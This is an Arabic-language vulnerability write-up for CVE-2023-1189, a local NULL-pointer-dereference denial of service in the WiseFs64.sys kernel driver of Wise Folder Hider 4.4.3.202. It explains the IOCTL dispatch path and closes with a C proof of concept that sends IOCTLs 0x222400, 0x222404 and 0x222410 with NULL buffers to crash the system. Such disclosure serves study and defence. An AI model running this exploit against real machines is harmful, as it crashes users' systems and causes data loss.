
CVE-2023-1189 PoC و Exploit
| العنصر | التفاصيل |
|---|---|
| CVE ID | CVE-2023-1189 |
| نوع الثغرة | إغلاق غير صحيح للموارد أو تحريرها (CWE-404) |
| البرنامج المتأثر | WiseCleaner Wise Folder Hider |
| المكون المعرض | WiseFs64.sys (مشغل النواة) |
| إصدار الثغرة | 4.4.3.202 |
| CVSS | NVD - 5.5 (متوسط), VulDB - 3.3 (منخفض) |
| تاريخ الكشف | 2023.03.06 |
هذه الثغرة هي ثغرة رفض خدمة محلية (Local Denial of Service) تسمح للمهاجم، بصلاحيات مستخدم، بإحداث إلغاء مرجعية لمؤشر فارغ (NULL Pointer Dereference) في النواة عبر IOCTL معين، مما يؤدي إلى تعطل النظام (BSOD).
تحدث ثغرة CVE-2023-1189 في مشغل النواة WiseFs64.sys الذي ينشئه برنامج Wise Folder Hider الإصدار 4.4.3.202 أثناء التثبيت.
بشكل عام، تدفق الثغرة كما يلي:

إذا نظرنا إلى هذا التدفق بالتفصيل:

أولاً، في دالة DriverEntry، يتم تعيين الدالة dispatchDeviceControl في الفهرس 14 من جدول التوزيع (Dispatch Table).
وبهذا، يتم تمرير جميع أوامر IOCTL القادمة إلى \\.\WiseFs إلى dispatchDeviceControl.

عند الدخول إلى دالة dispatchDeviceControl، يتم أولاً التحقق مما إذا كان الجهاز هو جهاز تحكم (Control Device)، وإذا كان كذلك، فسيتم الانتقال إلى دالة handleControlDeviceIoctl.

تحتوي دالة handleControlDeviceIoctl على المنطق الذي يعالج رموز IOCTL الفعلية.
من بين العديد من رموز IOCTL، تم حذف التحقق من قيمة المخزن المؤقت (Buffer) سواء كانت NULL أم لا في الرموز 0x222400 و 0x222404 و 0x222410.
لذلك، عند استدعاء هذه IOCTL والمخزن المؤقت NULL، سيصل المشغل إلى المخزن المؤقت مما يتسبب في إلغاء مرجعية مؤشر فارغ (NULL Pointer Dereference) ويؤدي إلى شاشة الموت الزرقاء (BSOD).
#include <stdio.h>
#include <Windows.h>
#include <winioctl.h>
#define SymLinkName L"\\\\.\\WiseFS"
HANDLE hDevice;
int main(int argc, char* argv[]) {
DWORD dwWrite = 0;
hDevice = CreateFileW(SymLinkName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("failed to CreateFile\n");
return 1;
}
// case 0x222400
// DeviceIoControl(hDevice, 0x222400, NULL, 0, NULL, 0, &dwWrite, NULL);
// case 0x222404
// DeviceIoControl(hDevice, 0x222404, NULL, 0, NULL, 0, &dwWrite, NULL);
// case 0x222410
// DeviceIoControl(hDevice, 0x222410, NULL, 0, NULL, 0, &dwWrite, NULL);
CloseHandle(hDevice);
return 0;
}